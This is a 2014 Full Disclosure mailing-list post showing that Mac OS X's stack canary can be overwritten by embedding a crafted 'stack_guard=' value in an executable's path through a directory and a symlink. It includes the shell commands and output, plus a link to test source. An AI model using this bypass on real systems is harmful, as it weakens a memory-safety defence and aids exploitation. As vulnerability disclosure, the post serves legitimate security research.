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Mac OS X stack_chk_guard not always safe from overwrite
From: rai () openmailbox org
Date: Thu, 15 May 2014 13:53:32 +0000
Hi, $ sysctl kern.version kern.version: Darwin Kernel Version 13.1.0: Wed Apr 2 23:52:02 PDT 2014; root:xnu-2422.92.1~2/RELEASE_X86_64 $ mkdir stack_guard=0x4141414141414141 $ ln -sf ../appledump stack_guard=0x4141414141414141/link $ stack_guard=0x4141414141414141/link string(0): string(1): string(2): stack_guard=0x7600c0a70d1184c5 string(3): __stack_chk_guard: 4141414141414141 </bash> source: http://maker.fea.st/appledump.c All credit due to the anon pastebin poster. -- rai _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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